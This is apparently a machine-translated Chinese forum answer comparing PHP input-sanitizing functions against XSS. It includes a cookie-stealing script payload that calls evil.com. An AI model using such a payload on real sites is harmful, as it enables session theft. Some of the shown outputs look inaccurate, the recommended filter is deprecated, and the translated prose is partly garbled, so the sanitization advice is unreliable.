我想我更喜欢组合,filter_var
如果url_decode
你想使用纯简单的 php 解决方案
原因
想象一下这样的估算
$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
如果我使用strip_tags
var_dump(strip_tags($maliciousCode));
输出
string 'document.write("' (length=16)
如果我使用htmlspecialchars
var_dump(htmlspecialchars($maliciousCode));
输出
string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)
我的选择
function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}
$input = cleanData ( $maliciousCode );
var_dump($input);
输出
string 'document.write(&#34;&#34;); I love PHP' (length=46)
如果使用表单GET
而不是POST
一些可以直到转义的表单,如果它是 url 编码的,那么您可以获得最少的信息并确保最终文本是无害的
也有足够的在线课程可以帮助您进行过滤查看